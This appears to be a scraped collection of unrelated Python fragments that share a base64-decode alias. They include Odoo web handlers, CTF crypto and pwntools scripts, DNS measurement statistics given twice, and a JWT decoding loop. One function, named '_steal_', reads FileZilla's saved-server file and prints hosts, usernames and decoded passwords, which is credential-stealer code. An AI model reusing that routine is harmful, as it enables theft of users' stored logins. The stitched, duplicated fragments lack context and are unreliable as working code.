def get_activation(self, token): token = urllib.unquote(token) token = token.split('&') cen = request.env['personal.center'].sudo().browse(int(token[1])) if cen.word and cen.partner_id.signup_expiration >= time_utc(hours=+0): password = d64(token[0][5:5+int(cen.word)]) db = d64(token[2][:3] + token[2][4:]) cen.user_id.write({'active': True}) cen.partner_id.write({'active': True, 'signup_token': False, 'signup_type': False, 'signup_expiration': False}) cen.write({'word': False}) # return db, cen.user_id.login, password return cen.user_id.login else: raise SignupError("Signup token '%s' is not valid" % token)
def encrypt(pt, key): REM.recvuntil(b'data with:') REM.sendline(key) REM.sendline(pt) data = REM.recvuntil(b'\n\n') encrypted = data.split(b'message is: ')[-1].strip() return [ord(i) for i in d64(encrypted).decode()]
def OrdinaryConnection(self, **kw): value = urllib.unquote(kw.get('value')) value = d64(value[:17] + value[22:]).split('&') # 第一个值是网站, 第二个是mail.customer_email id url = urllib.unquote(value[0]) if value[1] != 'False': line = request.env['mass_sales.mail.line'].sudo().browse( int(value[1])) click_ids = line.click_ids if line.read_bool: click_ids.create({ 'click_name': url, 'click_time': fields.datetime.now(), 'line_id': int(value[1]) }) else: mail = line.mail_id mail.write({'open_mail': mail.open_mail + 1}) line.write({ 'receive_bool': True, 'state': 'Sent', 'read_bool': True }) click_ids.create({ 'click_name': url, 'click_time': fields.datetime.now(), 'line_id': int(value[1]) }) if url in ['*****@*****.**', 'www.icloudfactory.com']: url = 'https://' + url elif url == 'http://113.116.72.54:8069/web#': url = 'https://www.icloudfactory.com' return werkzeug.utils.redirect(url)
def email_markup(self, **kw): if kw.get('token'): order_id = kw.get('token')[4:-4] order = int(d64(order_id)) order = request.env['sale.order'].sudo().browse(order) # 如果有已支付 或 已验证 的发票直接跳 个人中心 inv = order.invoice_ids.filtered( lambda x: x.state in ['paid', 'open']) if inv: return request.redirect('/my/home') if order.state != 'sale': order.write({'state': 'sale'}) inv = order.invoice_ids.filtered(lambda x: x.state != 'cancel') # 如果没有发票进行 创建 if not inv: inv = order.action_invoice_create() # 创建发票 inv = request.env['account.invoice'].sudo().browse(inv) inv.write({'user_id': order.user_id.id}) self.create_email_notice(order, inv) inv.action_invoice_open() # 验证发票 _logger.info('Client %s agree to increase cost' % order.name) return request.redirect('/my/home')
def __init__(self): self.m = b'VGhhdCdzIHdoeSBJIGZvdW5kIHlvdSBkb24ndCBwbGF5IGFyb3VuZCB3aXRoIHRoZSBGdW5reSBDb2xkIE1lZGluYQ==' # self.m = e64(b'hello\n') self.x = int.from_bytes(d64(self.m), 'big') # self.x = int.from_bytes(d64(b'aGVsbG8K'), 'big') # self.x = 105 while True: try: print('try') self.p = getPrime(512) self.q = getPrime(512) if self.q == self.p: continue self.n = self.p * self.q self.et = (self.p - 1) * (self.q - 1) self.e = 3 # self.e = 65537 g, s, t = eea(self.et, self.e) # will raise ValueError if gcd != 1 self.d = invmod(self.e, self.et) break except ValueError: continue
def _steal_(path): ret = list() try: # Parse the XML root = xml.parse(path).getroot()[0] except: # File is not found return "[-] recentservers.xml not found" # Enumerate accounts for srv in root: # Check if the password is blank (even better for us) if srv[5].text == None: password = "******" else: # Decode the base64-ed password password = d64(srv[5].text) ret.append( "[+] Host: {host}\n Username: {user}\n Password: {pw}\n Port: {port}\n" .format(host=srv[0].text, user=srv[4].text, pw=password, port=srv[1].text)) return ret
from pwn import remote from base64 import b64decode as d64 from base64 import b64encode as e64 HOST, PORT = "95.216.233.106", 60246 with open('password.txt','r') as password_file: password = d64(password_file.read().strip()).decode() with open('ciphertext.txt','r') as ciphertext_file: ct = d64(ciphertext_file.read().strip()).decode() with open('plaintext.txt', 'r') as plaintext_file: pt = plaintext_file.read().strip() REM = remote(HOST, PORT) print(REM.recvline()) print(REM.recvline()) def encrypt(pt, key): REM.recvuntil(b'data with:') REM.sendline(key) REM.sendline(pt) data = REM.recvuntil(b'\n\n') encrypted = data.split(b'message is: ')[-1].strip() return [ord(i) for i in d64(encrypted).decode()] ct_arr = [ord(i) for i in ct] pt_arr = [ord(i) for i in pt] diff_arr = [ct_arr[i] - pt_arr[i] for i in range(len(ct_arr))]
def tango(abuf): return ptango(DNS(d64(abuf)))
def hasSig(abuf): return phasSig(DNS(d64(abuf)))
def isAD(abuf): return pisAD(DNS(d64(abuf)))
def stats(self, ids, pid=False, thev=None, of=None, of_=None): v = self.resolvers(ids, pid=pid) v0 = len(v) k = widen(v) k0 = len(k) k1 = len(set(k)) a = [x[0] for x in self.answers(ids, pid=pid)] a0 = len(a) an = [x[0] for x in self.answers(ids, pid=pid) if x[1]['ANCOUNT'] > 0] an0 = len(an) ar = [x[0] for x in self.answers(ids, pid=pid) if x[1]['ARCOUNT'] > 0] ar0 = len(ar) if a0 < 1: return # No answer a_ = widen(a) a1 = len(a_) ad = [ x[0] for x in self.answers(ids, pid=pid) if isAD(x[1]['abuf']) and not hasSig(x[1]['abuf']) ] ad0 = len(ad) / float(a0) as_ = [ x[0] for x in self.answers(ids, pid=pid) if hasSig(x[1]['abuf']) and not isAD(x[1]['abuf']) ] as0 = len(as_) / float(a0) asd = [ x[0] for x in self.answers(ids, pid=pid) if isAD(x[1]['abuf']) and hasSig(x[1]['abuf']) ] asd0 = len(asd) / float(a0) if thev is not None and of is not None: print 'Counting probes\' ADs...' ofo = open(of, 'w') ofo.write('\\addplot[fill=green] coordinates {\n') ofo_ = None if of_ is not None: ofo_ = open(of_, 'w') ofo_.write('\\addplot[fill=green] coordinates {\n') theh = {} theh_ = {} chkps = [] for theps_ in sorted(thev.values()): theps = [x for x in theps_ if x not in chkps] chkps += theps flps = 1. if len(theps) > 0: flps = float(len(theps)) ra = len([ x for x in self.answers(theps, pid=True) if isAD(x[1]['abuf']) ]) / flps naz = len([ x for x in self.answers(theps, pid=True) if DNS(d64(x[1]['abuf'])).rcode == 2 ]) / flps try: theh[str(len(theps))] += ra except KeyError: theh[str(len(theps))] = ra if ofo_ is not None: try: theh_[str(len(theps))] += naz except KeyError: theh_[str(len(theps))] = naz for pc, rc in theh.iteritems(): ofo.write('(' + pc + ',' + str(rc) + ')\n') ofo.write('};') ofo.close() if ofo_ is not None: for pc, nc in theh_.iteritems(): ofo_.write('(' + pc + ',' + str(nc) + ')\n') ofo_.write('};') ofo_.close() print 'Wrote ADs histogram at ' + of print h0.format('Resol', 'Rep:AN:AR:ADs AD S AD+S') print h0.format( v0, h_.format('%d:%d:%d:%d' % (a0, an0, ar0, len(ad) + len(asd)), ad0, as0, asd0)) if a1 < 1: return # Answers from local IPs only a2 = len(set(a_)) ad_ = widen(ad) ad1 = len(ad_) / float(a1) ad2 = len(set(ad_)) / float(a2) as__ = widen(as_) as1 = len(as__) / float(a1) as2 = len(set(as__)) / float(a2) asd_ = widen(asd) asd1 = len(asd_) / float(a1) asd2 = len(set(asd)) / float(a2) print h1.format('Know', 'Uniq', 'Know AD S ADS', 'Uniq AD S ADS') print h1.format(k0, k1, h_.format(a1, ad1, as1, asd1), h_.format(a2, ad2, as2, asd2)) sp = set(self.pids()) #WARNING: the following lines may break stuff ap = [ pi for pi in sp if len([ re for re in self.r if chk(re, [pi], ispid=True) and 'result' in re and re['result']['ANCOUNT'] > 0 ]) > 0 ] ap0 = len(ap) / float(len(sp)) adp = [ pi for pi in sp if len([ re for re in self.r if chk(re, [pi], ispid=True) and 'result' in re and isAD( re['result']['abuf']) and not hasSig(re['result']['abuf']) ]) > 0 ] adp0 = len(adp) / float(len(sp)) asp = [ pi for pi in sp if len([ re for re in self.r if chk(re, [pi], ispid=True) and 'result' in re and not isAD(re['result']['abuf']) and hasSig(re['result']['abuf']) ]) > 0 ] asp0 = len(asp) / float(len(sp)) asdp = [ pi for pi in sp if len([ re for re in self.r if chk(re, [pi], ispid=True) and 'result' in re and isAD(re['result']['abuf']) and hasSig(re['result']['abuf']) ]) > 0 ] asdp0 = len(asdp) / float(len(sp)) print h0.format('Prob', 'Ans AD Sig AD+S') print h0.format(len(sp), ('{}:{:0=4.2%} ' * 4).format(len(ap), ap0, len(adp), adp0, '', asp0, len(asdp), asdp0)) nan = [ x for x in self.r if 'result' in x and x['result']['ANCOUNT'] < 1 ] ers = {DNS(d64(x['result']['abuf'])).rcode: 0 for x in nan} ers_ = dict(ers) for x in nan: ers[DNS(d64(x['result']['abuf'])).rcode] += 1 if x['result']['ARCOUNT'] < 1: ers_[DNS(d64(x['result']['abuf'])).rcode] += 1 print ers print ers_ print set([ DNS(d64(x['result']['abuf'])).qd[0].type for x in nan if DNS(d64(x['result']['abuf'])).rcode == 0 ])
import re from base64 import b64decode as d64 token = b'eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJOQ2FmUXZVcFROb0drRnZLbzNuR2o2eVBLcThSQTkzeWNVaTJZZHlkb1BzIn0' # print(d64(token + b'=' * (-len(token) % 4) )) for x in range(len(token)): try: for y in range(len(token)): try: tmp = d64(token[x:y + 1] + b'=' * (-len(token) % 4)) print(tmp.decode('ISO-8859-1')) except Exception as e: pass except Exception as e: # print(e) pass
def stats(self,ids,pid=False,thev=None,of=None,of_=None): v=self.resolvers(ids,pid=pid) v0=len(v) k=widen(v) k0=len(k) k1=len(set(k)) a=[x[0] for x in self.answers(ids,pid=pid)] a0=len(a) an=[x[0] for x in self.answers(ids,pid=pid) if x[1]['ANCOUNT']>0] an0=len(an) ar=[x[0] for x in self.answers(ids,pid=pid) if x[1]['ARCOUNT']>0] ar0=len(ar) if a0<1: return # No answer a_=widen(a) a1=len(a_) ad=[x[0] for x in self.answers(ids,pid=pid) if isAD(x[1]['abuf']) and not hasSig(x[1]['abuf'])] ad0=len(ad)/float(a0) as_=[x[0] for x in self.answers(ids,pid=pid) if hasSig(x[1]['abuf']) and not isAD(x[1]['abuf'])] as0=len(as_)/float(a0) asd=[x[0] for x in self.answers(ids,pid=pid) if isAD(x[1]['abuf']) and hasSig(x[1]['abuf'])] asd0=len(asd)/float(a0) if thev is not None and of is not None: print 'Counting probes\' ADs...' ofo=open(of,'w') ofo.write('\\addplot[fill=green] coordinates {\n') ofo_=None if of_ is not None: ofo_=open(of_,'w') ofo_.write('\\addplot[fill=green] coordinates {\n') theh={} theh_={} chkps=[] for theps_ in sorted(thev.values()): theps=[x for x in theps_ if x not in chkps] chkps+=theps flps=1. if len(theps)>0: flps=float(len(theps)) ra=len([x for x in self.answers(theps,pid=True) if isAD(x[1]['abuf'])] )/flps naz=len([x for x in self.answers(theps,pid=True) if DNS(d64(x[1]['abuf'])).rcode==2] )/flps try: theh[str(len(theps))]+=ra except KeyError: theh[str(len(theps))]=ra if ofo_ is not None: try: theh_[str(len(theps))]+=naz except KeyError: theh_[str(len(theps))]=naz for pc,rc in theh.iteritems(): ofo.write('('+pc+','+str(rc)+')\n') ofo.write('};') ofo.close() if ofo_ is not None: for pc,nc in theh_.iteritems(): ofo_.write('('+pc+','+str(nc)+')\n') ofo_.write('};') ofo_.close() print 'Wrote ADs histogram at '+of print h0.format('Resol','Rep:AN:AR:ADs AD S AD+S') print h0.format(v0, h_.format('%d:%d:%d:%d'%( a0,an0,ar0,len(ad)+len(asd)), ad0,as0,asd0)) if a1<1: return # Answers from local IPs only a2=len(set(a_)) ad_=widen(ad) ad1=len(ad_)/float(a1) ad2=len(set(ad_))/float(a2) as__=widen(as_) as1=len(as__)/float(a1) as2=len(set(as__))/float(a2) asd_=widen(asd) asd1=len(asd_)/float(a1) asd2=len(set(asd))/float(a2) print h1.format('Know','Uniq','Know AD S ADS','Uniq AD S ADS') print h1.format(k0,k1, h_.format(a1,ad1,as1,asd1), h_.format(a2,ad2,as2,asd2)) sp=set(self.pids()) #WARNING: the following lines may break stuff ap=[pi for pi in sp if len([re for re in self.r if chk(re,[pi],ispid=True) and 'result' in re and re['result']['ANCOUNT']>0])>0] ap0=len(ap)/float(len(sp)) adp=[pi for pi in sp if len([re for re in self.r if chk(re,[pi],ispid=True) and 'result' in re and isAD(re['result']['abuf']) and not hasSig(re['result']['abuf'])])>0] adp0=len(adp)/float(len(sp)) asp=[pi for pi in sp if len([re for re in self.r if chk(re,[pi],ispid=True) and 'result' in re and not isAD(re['result']['abuf']) and hasSig(re['result']['abuf'])])>0] asp0=len(asp)/float(len(sp)) asdp=[pi for pi in sp if len([re for re in self.r if chk(re,[pi],ispid=True) and 'result' in re and isAD(re['result']['abuf']) and hasSig(re['result']['abuf'])])>0] asdp0=len(asdp)/float(len(sp)) print h0.format('Prob','Ans AD Sig AD+S') print h0.format(len(sp), ('{}:{:0=4.2%} '*4).format( len(ap),ap0,len(adp),adp0,'',asp0,len(asdp),asdp0)) nan=[x for x in self.r if 'result' in x and x['result']['ANCOUNT']<1] ers={DNS(d64(x['result']['abuf'])).rcode:0 for x in nan} ers_=dict(ers) for x in nan: ers[DNS(d64(x['result']['abuf'])).rcode]+=1 if x['result']['ARCOUNT']<1: ers_[DNS(d64(x['result']['abuf'])).rcode]+=1 print ers print ers_ print set([DNS(d64(x['result']['abuf'])).qd[0].type for x in nan if DNS(d64(x['result']['abuf'])).rcode==0])